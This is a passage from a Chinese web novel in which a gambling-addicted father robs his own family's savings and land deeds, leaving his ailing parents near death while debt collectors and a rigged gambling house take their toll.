“都是一个村的,我还能信不过你?地契的事就不说了,这钱你拿着,什么时候还都行。”苏三从怀里拿了一块五两的银子放苏志强手里。
“这不行,地契你必须拿着。”苏志强坚决要拿地契抵押,最后还是苏三肃了面容,有些生气了,他才收了银块。
一家人翘首以盼,期望苏志强能带回来好消息。天黑了苏志强才回来,还用带了一大包旧衣服。
“苏三看着不声不响的,没想到人面这么广。我们一去,说了要批衣服的事,他和那卖旧衣的单独说了两句,这事就成了!”
苏志强给老爷子说了借钱的事,老爷子记下这情分。
有了材料,一家子赶工,总算在农忙之前把第一批翻新的衣服做了出来。
这天早上天还没亮,黄月英和苗金凤把做好的衣服装箱,赶着借来的牛车去县里赶大集。其他人在家抓紧时间翻地松土,把粮食种下去。
晚上两人回来,脸上全是激动的样子。
“你们不知道,这衣服好卖得很!”黄月英说。
“和我们挨着的有两个女的,卖的是旧衣,只是她们卖的,就是简单洗了洗,没缝补修整过,我们的衣服崭新崭新的,卖得比别人就贵个一点,摊子一摆好,买衣服的一窝蜂涌上来。我们差点没吓一跳。”苗金凤说。
“好卖就好,好卖就好。”做这生意,还借了钱,老爷子还怕卖得艰难。这下好了,家里多个进项。
有了成功的经验,苏志强又拿挣来的钱去买旧衣和碎布回来。等把粮食种下去,苏家男的出去打短工,女的在家做衣服。
她们的衣服质量好,样式新,价格还实惠,有些穷苦人家要嫁娶,都来她们这订新衣服成亲穿。借的钱没多久就给还上了。
“诶呀,咱们这回终于可以歇歇了!”
到了八月初,又到粮食成熟丰收的季节,卖衣服的生意先停了,全家下地抢收。
这活比做衣服累,但对于缝了几个月衣服的苏瑾来说,算是放假了。
苏志远关了大半年,精神都恍惚了。老爷子问他:“你还去还赌吗?”
苏志远下意识回答:“不赌了。”
老爷子试着把他放出来,全家紧绷着神经监视苏志远,只要他想再偷鸡摸狗动家里的钱,他们立马把他关回去。
这样的日子过了半个月,苏志远老老实实在家,家里有什么事叫他干,他也会伸手做。
老爷子心里松了口气。只要儿子改好,以后会越过越好的。
慢慢的家里的放松了警惕,平时进出房间都要锁门,现在就想起来才会锁。
不说黄赌毒,就是现代男子们戒个烟,那多难啊?有几个有这样的决心?更何况苏志远是赌了好几年的老赌鬼。苏瑾始终不敢放松警惕,时刻防备着渣爹。
12. 洗劫一空
苏志远看家里没再防备他防得紧,每次大集卖衣服的钱不少,看着一个个铜子在眼前跳跃,他心里的贪婪再也控制不住。
腊八节这天,村里富户请来了舞狮队表演,一家子关了院门去看热闹。
老爷子拉着苏志远在身侧,看舞狮的人太多,老爷子看得入迷,没注意到身边的人已经消失不见。
苏志远悄悄从看热闹的人群里退出来,眼睛向着苏家的方向看,那里有他惦记已久的东西。
“苏家老三,你不看舞狮,干啥去啊?”没挤到前排的青壮看苏志远从里面挤出来,怪到。自己挤都挤不进去,他怎么反而往外走?
“我……”苏志远眼睛一转,捂着下腹小声说,“内急,憋不住了!”
汉子看他双脚紧夹的样子,嬉笑一声,让了路。
自从卖衣服挣到钱,老爷子想着自己年纪大了,而且有多次被三儿偷钱的经历,他想着让各房自己保管挣来的钱,他就拿一点以后当养老钱就行。因而,各房现在都攒了些积蓄,藏在房间里。
苏志远每次看见大嫂二嫂卖衣服回来,数着铜钱的样子,他心里就像猫抓一样,恨不得把那些钱揽自己兜里。
苏志远搓了搓手,从腰上摘下一只小酒葫芦。仰头灌了一口酒,火辣辣的酒液一路从喉咙烧到胃里。苏志远浑身发热,却驱散不了心中的寒意。
自己不过是拿了家里一点小钱,大家不是没饿着没冻着吗?他爹竟然那么狠心,把他关在屋子里长达八九个月之久。
妻小也和他离心了。老爷子都把他放出来几个月了,妻子还是和女儿挤一个屋子,死活不肯回房。老爷子也是,竟然没吭声!他一个人睡,怎么给老爷子再弄一个孙子出来?
还有苏瑾那个死丫头,简直一点都没有把他放在眼里。自己每次使唤她做点什么,不仅不做,还想着法的给自己下绊子。
这母女俩,简直倒反天罡!
苏志远又灌了口酒,眼神阴鸷:“看我怎么对付你们!”他摸了摸刚刚顺来的铁锤。今天他要让那些对不起他的人付出代价。
舞狮的锣鼓越来越响,围观的人群欢呼声此起彼伏。苏志远知道时机到了。
大家看舞狮看得专心致志,没人注意到他偷偷往回走。他装作漫不经心的拐到没人看见的地方,拔腿狂奔。
院门被锁了,钥匙老爷子没拿一把给他。苏志远手脚麻利的翻过菜园子的围栏,进到院子里。
院子里静悄悄的,只有几只鸡在角落里啄食。苏志远轻车熟路地摸到大哥大嫂房前,门果然没锁。他闪身进去,直奔炕头的木箱而去。箱子上挂着铜锁,但在他的铁锤下不堪一击。
“哗啦”一声,铜钱像流水一样倾泻而出。苏志远的手微微发抖,他赶紧把铜钱装到提前准备好的袋子里。冰凉的金属贴着他的胸膛,却让他浑身发热。他拿了钱,顺手把大哥新做的袄子穿在身上。
这袄子是大嫂特意托她娘家兄弟买的兔子皮做成的。大嫂在伙房缝了几日,他摸过一次,兔子毛柔软又温暖。让李惠娘拿钱也给他置办一身,那死女人只当是死了没埋的,连一声也不吭。
“李惠娘,老子自己弄到兔子毛皮穿了,用不着你给我装死!”苏志远恨恨的说,边说边抓紧时间办正事。
二哥二嫂的房间锁着门,但这难不倒苏志远。他举起锤子“邦邦”两下,整套锁就被砸烂掉到地上。
二嫂的藏钱地方更隐蔽——在床底下埋着的陶罐里面。苏志远搜了一遍,要不是眼神好,差点就错过了。
苏志远刨开泥巴,把陶罐里面的钱全倒进袋子里面。他看着布袋里才倒进去的钱差点笑出了声。
这一罐子钱,不仅有铜钱,竟然还有几块碎银子!
“贱人,平时装穷,背地里藏这么多钱!”苏志远恶狠狠地咒骂着,把银子塞进贴身的暗袋里。他在房间里翻箱倒柜,又找到了几件银首饰和一块上好的缣布。
老爷子房里,苏志远只找到一小袋铜钱。老东西果然狡猾,肯定把钱藏在了别处。不过没关系,这些已经足够了。
苏志远把搜刮来的财物装进事先准备好的大包袱里,又将已经做好的几件成衣也打了包。
所有东西都被他装进箩筐里面。他还在箩筐最上面盖了一捆稻草伪装,谁看了,能想到这箩筐里面有这么多钱财?苏志远得意,背着沉甸甸的箩筐离开了苏家。
从菜园子出来,一阵冷风吹来,掀开了盖在箩筐上的稻草。苏志远赶紧重新盖好,心跳如鼓。不能慌,现在全村人都在看舞狮,没人会注意到他。
苏志远绕到村后的小路,避开可能遇到人的大路。积雪在脚下咯吱作响,每一声都让他心惊肉跳。他不时往后看,防备着家里的人突然出现。
路上遇见零星几个赶着去看舞狮的村民问他:“诶,你不去看热闹吗?这天这么冷,去哪里呀?”
苏志远笑着说:“我有点事,就不去了。你们要看舞狮,那可得快一点,去晚了就舞完了。”
“那你忙,我们先过去了。”路人担心看不见舞狮,急急忙忙告别苏志远,小跑前进。
苏志远回头看了看锣鼓喧天的村子,冷笑着说:“老不死的,叫你关我,我看你们这个年怎么过!”
两只金红相间的狮子在锣鼓声中腾跃翻滚,时而威风凛凛,时而憨态可掬。
苏家几姊妹挤在人群最前排,小脸冻得通红也舍不得眨眼。
“看!要撒糖了!”苏瑾突然扯了扯苏芸的衣袖。
只见李老爷站在高台上,手里提着一个大竹篮,里面堆满了用红油纸包着的麦芽糖。
“多谢各位乡亲捧场!”李老爷中气十足地喊道,抓起一把糖就往人群中撒去。
那红糖纸像个大红包似的,从天上掉下来。底下的人一窝蜂的涌过去抢。
“快抢!”苏瑾反应最快,当即脱下自己的厚外套,双手撑开像个网兜似的。七八颗糖噼里啪啦落在衣服上,她赶紧收拢衣角,像抱着宝贝似的搂紧在怀里。
苏芸瘦,灵活地在人群里穿梭。她瞄准一颗正要落地的糖,猛地跳起来抢,却被人群中一个胖大娘撞了个趔趄。
“哎哟!”苏芸膝盖磕在地上,眼睁睁看着那颗糖被一个陌生男孩捡走了。
苏芸爬起来,拍打着沾满雪水的裤腿,气鼓鼓地跺脚。
糖撒完了,几姊妹围成一圈,展示自己的战果。
“你们抢到几颗糖?”
苏芸摊开手掌,三颗红艳艳的糖
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纸在掌心里显得格外可怜。
“嘿嘿,我抢了八颗!”苏瑾得意地展开团成一团的外套。几个小孩子眼巴巴地围过来,她赶紧重新把衣服团起来抱紧:“去去去,找你们自己爹娘要去!”
最小的英杰站在人群最外围,被奶奶牢牢牵着。他踮起脚尖,却只能看到大人们的背影。
“奶奶,我也想要糖。”英杰拽着奶奶的衣角,声音里带着哭腔。
“乖孙,里头太挤了,奶奶这把老骨头可挤不进去。”老太太无奈地摸着孙子的头,“等会儿你哥哥姐姐们过来,让他们分你两颗。”
英杰扁着嘴,眼泪在眼眶里打转。这时苏芸走过来,看到小堂弟可怜巴巴的样子,蹲下身说:“别哭,我们把糖合起来重新分,好不好?”
几个孩子围成一圈,把抢到的糖都放在苏芸手帕上。苏瑾虽然不情愿,还是慢吞吞地掏出了自己珍藏的八颗。总共二十五颗糖。
“咱们八个人,每人三颗。”苏芸认真地分着,“咦?还多出一颗糖?”
“我要我要!”英杰迫不及待地伸出小手。
“急什么!”苏瑾拍开他的爪子,“刚才谁出力最多?这多出来的糖就该给谁。”
她挑眉看向堂姐,眼里全是对甜甜糖块的渴望。
苏芸看了看妹妹期待的眼神,又看了看英杰快要哭出来的表情,突然灵机一动:“这样,咱们玩个游戏,谁能说出今天舞狮表演最精彩的部分,这颗糖就给谁。”
“我知道!”英杰跳起来,“那只红狮子爬到高杆顶上摘了绣球!”
“那绿狮子打滚的样子才有趣呢!”另一个妹妹抢着说。
孩子们你一言我一语,笑声在寒冷的空气中格外清脆。最后苏芸做主,剩下那颗给了最先回答的英杰。
“谢谢姐姐!”英杰迫不及待地剥开糖纸,将方方正正的糖块塞进嘴里。
甜香瞬间在口腔中化开,他幸福地眯起眼睛:“嗯~好甜!”
“哈哈哈!”大家看他这副模样,都忍不住笑起来。
苏瑾趁机捏了捏他鼓起的腮帮子,惹得英杰一边躲闪一边含糊不清地抗议。
“姐姐,你……你……好讨厌!”化开的糖混合着口水流到苏瑾手上,她恶心得跳开,搂了雪搓手。
“苏英杰,你太恶心了!口水黏了我一手。”
英杰扒拉着眼睛做了个鬼脸:“谁让你手痒?活该!”
苏瑾跳脚,反把兄弟姊妹们逗得又哈哈大笑起来。
舞狮表演结束,天色已近黄昏。苏家人随着人流往家走,苏志强想着刚刚的舞狮,满怀憧憬的说:“咱们家现在这翻新衣服的生意好得很,明年,说不准咱们就请得起舞狮队了。”
苏志兴打断了哥哥癔症:“你还是想想怎么多攒点钱给大侄子娶媳妇吧!”
苏瑾突然发现不对劲:“咦,我爹呢?”
老爷子说:“刚才还跟在我旁边。”
“是不是去茅房了?”苏芸猜测道。
“不对……”苏瑾心里突然升起不祥的预感。
她想起这几天苏志远总是偷摸往各房屋子里瞅,还盯着盯着各房的门锁发呆。
“坏了!”苏瑾脸色骤变,“快回家看看!”
13. 赌坊要债
听到苏瑾的话,大家后知后觉的反应过来,拔腿往家里跑。
看到菜园子的破口,老爷子掏钥匙的手有些发抖。
院门打开的瞬间,所有人都倒吸一口冷气——各房的门大敞着,锁头被粗暴地撬开,散落在地上。
黄月英第一个冲进房间,随即传来撕心裂肺的哭喊:“杀千刀的苏志远,把我的钱还回来!”
这些都是她辛辛苦苦攒下来给大儿子娶媳妇的,现在都没了!
“钱……钱都没了……”苗金凤瘫坐在床沿,脸色惨白。积蓄全被洗劫一空,连给苏芸准备做嫁衣的布料都不见了。
老太太踉跄着走到自己房前,看到被翻得底朝天的柜子,一时急火攻心,捂住胸口两眼一翻直挺挺向后倒去。
“娘!”几个儿子慌忙上前扶住。
老爷子看到这情景,一口鲜血“哇”地喷在雪地上,染出一片刺目的红。
“娘!”
“爷爷!奶奶!”
大家都被吓坏了,年纪小的已经开始哭。
“快去请苏大夫!”苏志强强自镇定地指挥着,“老二,你去找人到处找找,看能不能把人抓回来。老三……老三这个畜生!”
苏瑾呆立在院子里,手里还攥着没吃完的麦芽糖。甜腻的味道突然变得令人作呕。她看着乱成一团的家人,看着地上散落的锁头,看着爷爷奶奶人事不知,对苏志远的恨意到达顶峰。
一家子顾不得生气,手忙脚乱的把人往苏大夫家抬。
苏瑾防着苏志远,说服她娘把钱用油纸包了,藏在陶罐里埋在菜园子里。
她把钱挖出来,好歹求苏大夫用点好药,把爷爷奶奶的命保住。
老爷子瘫在床上动不了,老太太中风口外嘴斜。苏志兴从旁人口里得知苏志远背着一箩筐的东西往县城的方向去了,回来问家里还要不要去找人。
县城那么大,要想找到一个人也不是件容易事。苏志强发了狠,带着大房二房的人去县城找人。
苏志远是自己丈夫,虽然大家都没怪惠娘,她却没脸和大房二房一道,默默在家照顾卧床不起的公婆。
苏芸懂事,狠哭了一回就带着弟弟妹妹在家打理家事。
一朝回到解放前,到处都是用钱的地方,苏瑾叫上母亲、堂姐,日夜赶工做衣裳。
其他人在外面找不到十来天,半点苏志远的影子也没找着。苏志强苏志兴特地去赌坊找,人没找到不说,还被赌坊的人当做闹事的揍了一顿。
两人伤痕累累的带着人回来,全都坐在火塘边低着头说不出话来。
看着大家的样子,惠娘背过身去直掉眼泪。苏瑾不语,只一味做衣裳。
年前最后一趟大集,黄月英强忍着难受,扯出笑脸去卖衣服。
年节上,辛苦一年百姓手里有了闲钱,也愿意买两件衣裳穿个喜庆。才半下午,衣服就只剩下几件了,有人来问能不能便宜点,黄月英说:“要是包圆了,一件便宜五文钱。”
那妇人犹豫半晌,才说:“那行,你给我都包起来吧。”
“行。”黄月英手脚麻利的把衣服包好,数清楚钱,将衣服递出去。
“回去吧。”收拾收拾把摊子收了,将摆摊的物什寄放完,苏志强两口子去医馆给爹娘带了两包药就回去了,连一点年货都没置办。
年三十,家里没点过节的气氛,谁都没个笑脸。
大伯父、二伯父侍奉在爷爷奶奶床前,两位伯母带着孩子扫尘,苏瑾跟母亲蹲院子里拔鸡毛。
“把长的鸡毛放一边,以后洗干净了做鸡毛掸子。”
“哦,好。”
拔毛破肚,清洗斩块,养了一年的两只鸡变成了一锅混合着干菇的鸡汤。
先盛了两碗鸡汤混着鸡肉,让伯伯们伺候爷爷奶奶吃,苏瑾和堂姐提着一篮子菜去水井边洗。
“这是苏志远家吗?”一个肥头肥脸的大汉站在院门口问。
“是。”惠娘在院子里洗鸡毛,见来人问,如实回答。
“兄弟们,就是这家。”大汉一招手,后面的人跟着他呼啦啦挤进苏家。
“诶!你们干什么?”惠娘看一帮人来者不善,赶紧把人拦着。
“干什么?”大汉冷笑,“收债。”
“谁啊?”听见动静的大伯母、二伯母出来。
“收债?收什么债?”
大汉从怀里掏出一张欠条,指着鲜红的手印说:“苏志远欠了我们赌坊二十贯钱,约好的腊月二十八还钱,这都几号了?连个鬼影都没看见。”
老爷子听到赌坊两个字,让大儿赶紧出去看看是什么情况。
“他欠了钱,你们就去找他要。大过年的闯到我家里面来,是个什么意思?”
“别废话,把苏志远叫出来。”
对方人多势众,苏志强忍着气,说:“苏志远不在,我们也不知道他去哪里了。你们要找他,自个找去,要是找到了,知会我们一声,我们也要找他算帐。”
赌坊的人哪管那么多,强势的说:“他是你们家的人,这钱你们赶紧拿出来,别逼着我们兄弟动粗。”
“家里的钱全被那混蛋偷去赌了,这钱我们一时之间实在是拿不出来。”
大汉那管这些?大过年的还得出来收债,谁能有好脾气?
“没钱就拿值钱的来还。兄弟们,上!”
有两个人冲到老两口房间里,当着他们的面就翻找起来。
赌坊进来翻找的两人在床板下面找到一个匣子,看清里面的东西是地契,赶紧拿去交给老大过目。
“老大,找到他们家的地契了,你看。”被叫老大的头头接了匣子。
一亩上等田三千文,一亩中等田两千文,一亩下等田一千文。
要债头子打开匣子,挑选里面的地契。
“我们也不多要,这几张地契够二十贯钱了,剩下的你们拿回去吧。”把剩下的地契连同匣子放桌上,要债头子指了指装着一锅鸡肉的砂锅,“大过年的还得出来干活,这锅我们就端走了。”
苏志强敢怒不敢言,眼睁睁看着他们扬长而去。
苏志兴惦记着爹娘,等要债的走了,赶紧去照看二老。
两位老人急晕过去,一屋子人又是一阵人仰马翻。
“阿瑾,别傻站着了,快去请大夫!”惠娘喊了一声,苏瑾如梦初醒,拔腿往苏大夫家跑。
寒风凛冽,她却感觉不到冷,满心都是爷爷奶奶生死不知的面容。
等她带着苏大夫回来时,院子里黑乎乎一片,唯独爷爷奶奶房里有烛光。
一家子男男女女从房里排到屋檐下,个个低声啜泣。
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>苏大夫进屋替老爷子、老太太医治,苏瑾站到母亲旁边,扶着她。
“阿瑾,这可怎么办?”有两位老人在,她们还能在这家里有一席之地,要是他们没了,母子几人那还有活路?
没过多久,苏大夫就摇着头出来:“老爷子急火攻心,血不归经;老太太……哎,我先开几副药吃着,只是……你们要早做准备,两位老人只怕时日无多了!”
这话像一记闷棍,把所有人都打懵了。苏志强、苏志兴跪在父母床前痛哭。苏瑾和其他堂兄弟、姊妹们也是伤心不已,个个哭得泣不成声。
“都是苏志远那个畜生!”苏志强气愤不已,可又能怎么办,他们连苏志远的一点消息都没有。
晚饭没了,就剩下煮熟的饭和没下锅的菜。大家都没心思吃饭,惠娘就弄点油烧了锅汤,把菜丢进去煮熟就是晚饭了。
夜深了,众人各自回房。苏瑾怎么也睡不着,她敲了敲墙板,想看看她娘睡了没。
“笃笃。”
惠娘也在为她们的处境担忧,前路一片黑暗,她们该怎么办?
英恒、英杰年纪小,又被吓着了,睡着睡着就哭,惠娘把孩子搂怀里安慰,他们才安稳睡着。
听到女儿敲墙板的声音,惠娘给孩子们盖好被子,自己去找女儿说话。
“睡不着?”
苏瑾点头,家里出了这么大的事,她哪里睡得着?
惠娘躺到女儿旁边,二人夜话。
“阿瑾,你说要是你爷爷奶奶真走了,咱们该怎么办?”
能怎么办?船到桥头自然直,走一步看一步吧。
“大伯他们都是仁善的,娘你别多想。”
惠娘的泪控制不住流出来。就是因为大家这么好,她才满心的愧疚。
“阿瑾,你还记得你外公外婆吗?”
“记得啊。”外公外婆还行,外公在衙门当差,外婆一人照顾全家上下,都很有责任心且很辛苦。
虽然他们有点重男轻女,但要是子女真的出了什么事,还是肯站出来给子女撑腰。
记忆里,苏志远第一次家暴她娘,外公外婆就带着舅舅们上门,把苏志远打得一个月下不了床。苏志远看后家这么凶,再也没敢对她娘动手。
只可惜后来外公外婆他们全没了,她娘性子又软,苏志远避着大家在家的时候,又开始找惠娘拿钱,要是拿不出来,就家暴惠娘。她们三个小的,也没少被苏志远虐待。
“你外公外婆后来看苏志远赌瘾太大,你爷爷奶奶根本管不了他,曾经偷偷让我提出和离。”当时爹娘的意思是自己才二十来岁,再嫁不难。
“我舍不得你们,也舍不得这个家。”惠娘抹了眼泪,脸上挂了笑,“他们都是好人,三房出了你爹这样的,他们也没迁怒我们,还当我们是一家人。”
确实。苏瑾在心里默默说,苏家除了出了苏志远这棵歪脖子树,其他人是真的挺好的。
像相亲失败的堂姐,虽然是受了渣爹连累,可人家对她们姐弟三人,从来没有眼睛不是眼睛,鼻子不是鼻子,还是拿她们当亲堂姊妹。
惠娘握着女儿的手说,“若是你爷爷奶奶或是伯伯们让我们净身出户,你心里别怨他们。”
苏瑾想说他们不是这样的人,不会这样对她们的。看着母亲的样子,苏瑾点了点头。
14. 狐朋狗友
苏志远偷了钱财出来,没急着去赌坊,反而先去了赌友家,他拿了成衣贿赂赌友,借住在赌友家。
年前家里到处找他,逼得他只能窝在屋里,好不容易家里没再找他了,他去赌坊,次次都输。这回他确定赌坊出老千了!赌坊老板家大业大,他就是想揭发也不敢,万一被记恨上,还能有他好日子过?
“本地的赌坊去不得了,还是去其他地方看看,反正自己现在有的是钱。”苏志远打定主意,蹭了回家探亲的夫妇的牛车去了邻县。
看着赌坊的幌子,苏志远攥紧了腰间的钱袋,毅然抬脚迈向陌生的赌坊。
踏入赌坊的瞬间,骰子在骰盅里滚动的清脆声响、此起彼伏的吆喝声,裹挟着一股难以言喻的诱惑扑面而来,瞬间将他吞没。
苏志远走到最近的赌桌前,这一桌正在赌大小。桌上大大的“大”和“小”两个字,苏志远拿不准注意。
在他旁边有一个男子,眼神中透着一股不羁与自信,每一次出手都仿佛胸有成竹。随着骰子揭开,男子再次赢了!
苏志远跟着下了两注,不出意外,都赢了。
男子得意地揽过银钱往兜里装,装完就往外走。
苏志远想也没想就跟上去。
“兄台,请等一下。”
贾不鱼回头,戒备的把钱袋子藏到身后:“叫我做什么?”
“兄台,看你猜大小是个个中好手,不如我们一起再玩玩?”苏志远热情地招呼道。
不是抢钱啊?贾不鱼看了对方一眼,踢踏踢踏的走了。
“唉,兄台,你别走啊!”苏志远小跑过去追上人,十分夸张的表达了一番自己的崇敬之意,并表示要请客吃饭。
贾不鱼被吹捧得陶然自得,欣然应允。饭桌上,两人一来一往的,就成了相见恨晚的好兄弟。
接下来的日子,苏志远和贾不鱼同吃同住,互相交流技巧。他们在赌坊那简直是逢赌必赢。怕被盯上,两人轮换着把县里赌坊玩了个遍,赢的钱装都要装不下了。
苏志远用袖子擦了擦额头的汗珠,银子在阳光下闪烁着喜人的光芒。他和贾不鱼两个人围着桌子数这些日子在赌坊赢回来的钱。
“苏兄,你数那边,我数这边。"贾不鱼眼睛发亮,按十个一串,拿草绳把铜钱串好。
苏志远点点头,拿起草绳穿铜板。沉甸甸的手感让他嘴角不自觉地上扬。这么多钱,老头子一辈子都挣不了!要是老头子早点把家里的钱全部交给我,家里早就发了!
想到这里,他不由得冷笑一声,老爷子整天念叨着要他读书考功名,等考上了就有钱了。看看眼前的这些钱,都说三十老,五十少进士,自己要是真的听了老爷子的话,还不知道哪年才能挣到这么多钱!
“苏兄,你猜猜咱们今天赢了多少?”贾不鱼抬头,眼中闪烁着兴奋的光芒。
苏志远眯起眼睛,看着贾不鱼面前那堆成小山的铜钱:“少说也有七八贯吧?”
“九贯又一百文!”贾不鱼猛地一拍大腿,“加上之前的,咱们现在有……”
“一百二十五贯又六百文。”苏志远迅速接上。
贾不鱼突然凑近,压低声音道:“苏兄,咱们这段时间风头正盛,要不要再去玩两把?”他的呼吸变得急促,“最近运气好,一鼓作气多搞点钱,到时候,什么春红、粉绿,天天去点她们。”
苏志远看着贾不鱼兴奋的脸,心中一动:“行。再去一趟,完事我们就换个地方避避风头。”
干一票大的,没准自己也能开个赌坊,到时候……他仿佛已经看见自己坐在赌坊最里面的高椅上,四周站满了恭敬的打手和谄媚的荷官。
两人打定主意,把钱全部带上。刚拐出巷子,一个穿着破烂道袍的老者突然拦住了他们。
“二位红光满面,不如照顾照顾老道的生意?”老道士笑得一脸谄媚。
贾不鱼皱眉看了老道的摊位一眼,一张破旧的八卦图铺在地上,旁边摆着龟壳和几枚铜钱。
“我家就住在这里,我怎么从来没见过你?”
老道士捋了捋胡须,解释道:“居士不知,老道云游四方,也是这两天才到这城里的。这不是一路风尘,没了盘缠,老道颇善占卜,便在这儿摆个摊子,挣点路费钱。”
苏志远笑了,拉着贾不鱼说:“就当是可怜可怜他老人家。”
他丢了几个铜板在桌子上,对老道士说:“老道,你就给我们看看今天的财运如何。”
“二位快坐。”老道士殷勤地挪开位置,让两人坐在八卦图前。
老道捧着龟壳念念有词,不一会儿他将龟壳里的三枚铜钱倒在桌子上。
“奇哉!妙哉!”老道士拍案而起,“二位今日气运如虹,出门东去,必然有大富贵。”
贾不鱼急切地凑上前:“真的?”
“老道这卜卦的本事可是看家本领,居士若不相信,就把这钱拿回去吧!”竟然不相信自己?老道士生气的把铜钱退回去。
苏志远看老道这模样,像是个有本事的,忙温声说道:“仙长误会,我兄长只是一时急切,并不是故意冒犯。”
老道士才消了气,不情不愿的把钱收了。
“东边不就有个大赌坊吗?上回咱们在哪可赢了不少钱,看来那地方确实旺我们。大吉,走走走。"苏志远高兴坏了,连老天都要帮他发财!
两人勾肩搭背地朝东南方向走去,完全没注意到身后老道士脸上那一闪而过的冷笑。
老道士看着两人远去的背影,迅速收起摊子,拐进了一条小巷。七拐八绕后,他来到一栋气派的宅院前,轻轻敲了三下门。
门开了一条缝,老道士低声说了几句,便被放了进去。
“李管事,那两个人去赌坊了。”老道士恭敬地对书房里的男子说道。
李管事放下手中的茶杯,眼中闪过一丝阴狠:“行了,我知道了。”
他叫了手下人进来,交代了几句:“务必把这两人身上的钱留下。”
“小的明白。”手下谄媚地笑着,“那两个人在赌坊赢走八十多贯钱,这次一定让他们全部吐出来。”
那两个不知天高地厚的,真以为赌坊的钱是那么好赢的?
“去吧。”李管事挥了挥手。
李管事看了看还侯在一边的老道士,说:“你也赶紧下去把脸洗了,把衣服换了。看着你这身打扮,差点没认出来。”
老道士躬身退下,没多久就换了身装扮回来。你年轻的样子,哪还有老道士半点样子?
与此同时,苏志远和贾不鱼已经站在赌坊前面。
“
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咱们先小试几把?”贾不鱼提议。
苏志远点点头,两人走进赌坊。
一进门,热浪夹杂着汗臭和酒气扑面而来。赌坊内人头攒动,各个赌桌前都围满了赌客。两人找了张人多的赌桌挤进去。
果然如老道士所说,他们今天财运亨通。两人面前的铜钱很快堆成了小山,引来周围赌客羡慕的眼神。
“敢不敢玩个大的?赢了我们赌坊赔三倍。”荷官看火候够了,出言引诱这两人。
“玩什么?”苏志远和贾不鱼红光满面,完全没注意到荷官眼中闪过的算计。
“赌大小。”荷官微笑着提议。
苏志远和贾不鱼都笑了。别的他们可能还会犹豫,这听声辩大小,可是贾不鱼的看家本事,保管能赢。
苏贾二人对视一眼,都看到了对方眼中的疯狂。他们已经在想象用这笔钱过上何等奢华的生活了。
“好!”两人异口同声地答道。
荷官做了个请的手势,引两人到赌大小的牌桌。
苏贾两人面前的钱,少说得有六七十贯,再加上两人后添的一百多贯,周围的赌客纷纷围拢过来,都想看看这场豪赌。
“请下注。”荷官熟练的摇着骰盅,骰盅稳稳当当立在赌桌上,他示意两人下注。
贾不鱼提着耳朵认真听骰盅里的声音,荷官说完,他想也没想的把钱全部推到“大”上面。
“我们压大。”
荷官偷偷动了一下骰盅,微笑着问两人:“你们确定要压大吗?”
苏志远看贾不鱼,贾不鱼坚定的点头。
“就压大。”苏志远说完,眼睛一瞬不眨的看着骰盅。
围观赌客激动的大喊:“大,大,大!”
荷官揭开骰盅:“二三四,小!”
“哦!”赌客们发出嘘声,苏贾二人看着骰子不可置信的睁大眼睛。
“不可能!”贾不鱼猛地站起来,打翻了身后的椅子,“明明就是大!”
"明明什么?"荷官冷冷地打断他,"这么多人都看到了,就是小!"
周围的赌客开始窃窃私语,有人指指点点,有人幸灾乐祸地笑着。
苏志远突然意识到什么,猛地扑到桌上,想把钱抢回来:“你们出千!”
这一举动如同捅了马蜂窝。几个彪形大汉立刻从赌坊各处冲了出来,不由分说地将两人拖向后门。
“放开我!你们这些骗子!”贾不鱼挣扎着大喊,却被一拳打在肚子上,顿时弯下腰去。
苏志远还想反抗,一个打手抄起一根木棍,狠狠砸在他的背上,剧烈的疼痛让他眼前一黑,几乎晕厥过去。
两人被拖进一条阴暗潮湿的小巷,像破麻袋一样被扔在地上。还没等他们爬起来,雨点般的拳脚就落下来。
“不知死活的东西,还敢在赌坊闹事!”
咒骂伴随着重击,苏志远蜷缩在地上,护着脑袋,感受到身上传来的剧痛。贾不鱼的情况更糟,他已经开始吐血,却仍死死抓着其中一个打手的裤腿不放。
“钱……我的钱……”贾不鱼含糊不清地说着。
“钱?”打手头子蹲下身,一把揪起贾不鱼的头发,又狠狠揍了他一顿。
打手们扬长而去,留下苏贾二人不知死活的躺在巷子里。
15. 抓住渣爹
天气好起来,二老在院子里晒太阳,苏瑾和母亲、伯母、堂姊妹们在二老旁边做衣裳。
“现在快二月了,做完这批衣服,咱们就先歇个把月,把庄稼该种的种,该收的收。”黄月英心想,这卖衣服的生意一日不如一日,还是得靠着土地过活啊。
家里养的猪可以出栏了,苗金凤建议:“村东头那家的小猪仔能卖了,咱们要不要去买一只回来养着?”
“买一只吧。”黄月英抬头往公婆的方向看了看。按苏大夫说的,家里得准备着,免得到时候手忙脚乱的让公婆走得不体面。
苗金凤也是这个意思。
半下午,天凉了。妯娌三个扶公婆回房静养,携手去选猪仔。晚饭交给了苏瑾苏芸两姐妹。
“堂姐,家里的米没了,我们先去打点米。”家里人多,一袋粟米见了底。
“我们一人背半袋去脱壳。”
两姐妹出去了,其他几个小的早跑出去胡玩,家里就只剩下两个老人在房里睡觉。
贾不鱼重视不治,苏志远没了落脚的地方,身上有伤也没钱治,只能夹着尾巴从邻县回来。
他没敢回家。老宅十来年没住人,好在为了方便存放东西,家里每年都会修整一下,还勉强能住人。他在老宅住下,这两天一直监视着家里,趁现在就只有瘫痪在床的父母在家,他赶紧回去找值钱的东西。
之前在爹娘房间只找到一点钱,两个老不死的一定把钱藏在其他地方了,自己找仔细点,一定能找到。
“你还敢回来?”老爷子惊讶的看着推门进来的苏志远,随即气上心头,拿起床边的喝水的碗往他身上砸。
“你这个畜牲。”
“死老头子,要不是我现在急需要用钱,我才不回来受你的气。”苏志远躲开,不理他爹躺床上咒骂,自顾自的翻找。
“藏哪里去了?”
为了找到钱,苏志远钻到床底下摸索,扬了一脸灰也没找到什么值钱的。
“难道藏上面了?”
他伸手往床板上模去,果然模得一个盒子一样的东西。
“总算找到了。”
费劲扣下被固定在床板上的盒子,苏志远打开一看,竟然是家里的地契。
他看到一盒子的地契迟疑了。这些都是苏家几辈人攒下的家业,要是自己拿了,是不是太对不住祖宗了?
看清楚苏志远手里拿的东西,老爷子大喊着让他放下:“不孝子,你把东西给我放下。”
苏志远良心早喂了狗了,哪里肯听?他心里还美得很,这一匣子地契一转手可就是白花花的银子。把匣子用衣服掩着,苏志远趁着大家还没回来,开门跑了。
“回来,回来!”老爷子用尽浑身力气从床上爬下来,挣扎着要去追苏志远,等他费劲千辛万苦爬出房间,苏志远早没了影子。
“造孽啊!”那地契可是一家人的命根子,老爷子气得一口老血喷溅而出,转瞬间晕死过去。
“苏志远,苏志远!你给我站住!”
